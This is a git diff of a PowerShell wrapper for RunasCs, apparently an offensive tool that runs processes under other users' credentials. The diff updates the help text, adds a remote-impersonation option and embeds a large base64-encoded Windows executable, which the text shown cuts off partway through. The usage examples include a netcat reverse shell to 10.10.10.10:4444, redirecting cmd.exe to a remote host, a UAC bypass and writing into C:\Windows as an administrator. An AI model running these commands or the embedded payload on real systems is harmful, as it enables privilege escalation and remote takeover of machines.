diff --git a/Invoke-RunasCs.ps1 b/Invoke-RunasCs.ps1 index 9d1516c..407f8cf 100644 --- a/Invoke-RunasCs.ps1 +++ b/Invoke-RunasCs.ps1 @@ -1,39 +1,22 @@ -<# -RunasCs is an utility to run specific processes with different permissions -than the user's current logon provides using explicit credentials. -Author: @splinter_code -License: GPL-3.0 -Source: https://github.com/antonioCoco/RunasCs -#> - -#Requires -Version 2 - function Invoke-RunasCs { <# .SYNOPSIS - Invoke-RunasCs username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--create-profile] [--bypass-uac] + RunasCs is an utility to run specific processes with different permissions + than the user's current logon provides using explicit credentials. + Author: @splinter_code + License: GPL-3.0 + Source: https://github.com/antonioCoco/RunasCs .PARAMETER Username The username of the user .PARAMETER Password The password of the user .PARAMETER Command - A command supported by cmd.exe if ProcessTimeout>0 - The commandline for the process if ProcessTimeout=0 + Commandline for the process .PARAMETER Domain The domain of the user, if in a domain. Default: "" - .PARAMETER ProcessTimeout - The waiting time (in ms) for the created process. - This will halt powershell until the spawned - process ends and sent the output back to the caller. - If you set 0 no output will be retrieved and cmd.exe - won't be used to spawn the process. - Default: "120000" - .PARAMETER LogonType - The logon type for the spawned process. - Default: "8" .PARAMETER CreateProcessFunction CreateProcess function to use. When not specified RunasCs determines an appropriate CreateProcess @@ -41,47 +24,82 @@ function Invoke-RunasCs 0 - CreateProcessAsUserW 1 - CreateProcessWithTokenW 2 - CreateProcessWithLogonW + .PARAMETER LogonType + The logon type for the spawned process. + Default: "2" - Interactive + .PARAMETER ProcessTimeout + The waiting time (in ms) for the created process. + This will halt RunasCs until the spawned process + ends and sent the output back to the caller. + If you set 0 no output will be retrieved and a + background process will be created. + Default: "120000" .PARAMETER Remote Remote host in host:port format. Stdin, stdout and stderr will be redirected to the specified host. The process timeout will be set to 0 if not specified explicitly. - .PARAMETER CreateProfile - if this flag is specified RunasCs will force the - creation of the user profile on the machine. + .PARAMETER ForceProfile + Force the creation of the user profile on the machine. This will ensure the process will have the environment variables correctly set. - NOTE: this will leave some forensics traces - behind creating the user profile directory. - Compatible only with -CreateProcessFunction flags: - 1 - CreateProcessWithTokenW - 2 - CreateProcessWithLogonW + WARNING: If non-existent, it creates the user profile + directory in the C:\Users folder. .PARAMETER BypassUac - if this flag is specified RunasCs will try a UAC - bypass to spawn a process without token limitation - (not filtered). + Try a UAC bypass to spawn a process without + token limitations (not filtered). + .PARAMETER RemoteImpersonation + Spawn a new process and assign the token of the + logged on user to the main thread. .EXAMPLE + PS>Invoke-RunasCs user1 password1 "cmd /c whoami /all" + + Description + ----------- Run a command as a specific local user - Invoke-RunasCs user1 password1 whoami - .EXAMPLE - Run a command as a specific domain user - Invoke-RunasCs -Domain domain1 -Username user1 -Password password1 -Command whoami + .EXAMPLE - Run a command as a specific local user with interactive logon type (2) - Invoke-RunasCs -Username user1 -Password password1 -Command whoami -LogonType 2 + PS>Invoke-RunasCs -Domain domain1 -Username user1 -Password password1 -Command "cmd /c whoami /all" -LogonType 8 + + Description + ----------- + Run a command as a domain user and logon type as NetworkCleartext (8) + .EXAMPLE - Run a background/async process as a specific local user, - Invoke-RunasCs -Username user1 -Password password1 -ProcessTimeout 0 -Command "%COMSPEC% powershell -enc..." + PS>Invoke-RunasCs -Username user1 -Password password1 -ProcessTimeout 0 -Command "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" + + Description + ----------- + Run a background process as a local user + .EXAMPLE + PS>Invoke-RunasCs -Username user1 -Password password1 -Command cmd.exe -Remote 10.10.10.24:4444 + + Description + ----------- Redirect stdin, stdout and stderr of the specified command to a remote host - Invoke-RunasCs -Username user1 -Password password1 -Command cmd.exe -Remote 10.10.10.24:4444 + .EXAMPLE + PS>Invoke-RunasCs -Username user1 -Password password1 -Command "cmd /c whoami /all" -LogonType 9 + + Description + ----------- Run a command simulating the /netonly flag of runas.exe - Invoke-RunasCs -Username user1 -Password password1 -Domain "." -Command "whoami" -LogonType 9 + .EXAMPLE + PS>Invoke-RunasCs -Username adm1 -Password password1 "cmd /c whoami /priv" -BypassUac + + Description + ----------- Run a command as an Administrator bypassing UAC - Invoke-RunasCs adm1 password1 "whoami /priv" -BypassUac + + .EXAMPLE + PS>Invoke-RunasCs -Username adm1 -Password password1 "cmd /c echo admin > C:\Windows\admin" -LogonType 8 -RemoteImpersonation + + Description + ----------- + Run a command as an Administrator through remote impersonation #> Param @@ -108,7 +126,7 @@ function Invoke-RunasCs [Parameter()] [String] - $LogonType = "8", + $LogonType = "2", [Parameter()] [String] @@ -120,11 +138,15 @@ function Invoke-RunasCs [Parameter()] [Switch] - $CreateProfile, + $ForceProfile, + + [Parameter()] + [Switch] + $BypassUac, [Parameter()] [Switch] - $BypassUac + $RemoteImpersonation ) $parametersRunasCs = New-Object Collections.Generic.List[string] @@ -148,15 +170,19 @@ function Invoke-RunasCs $parametersRunasCs.add($Remote) } - if( $PSBoundParameters.ContainsKey('CreateProfile') ) { + if( $PSBoundParameters.ContainsKey('ForceProfile') ) { $parametersRunasCs.add("-p") } if( $PSBoundParameters.ContainsKey('BypassUac') ) { $parametersRunasCs.add("-b") } + + if( $PSBoundParameters.ContainsKey('RemoteImpersonation') ) { + $parametersRunasCs.add("-i") + } - $RunasCsBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEsrJ2MAAAAAAAAAAOAAAgELAQgAAMAAAAAgAAAAAAAA/tMAAAAgAAAA4AAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAAAgAQAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAKjTAABTAAAAAOAAALgCAAAAAAAAAAAAAAAAAAAAAAAAAAABAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABLQAAAAgAAAAwAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAALgCAAAA4AAAABAAAADQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAAABAAAQAAAA4AAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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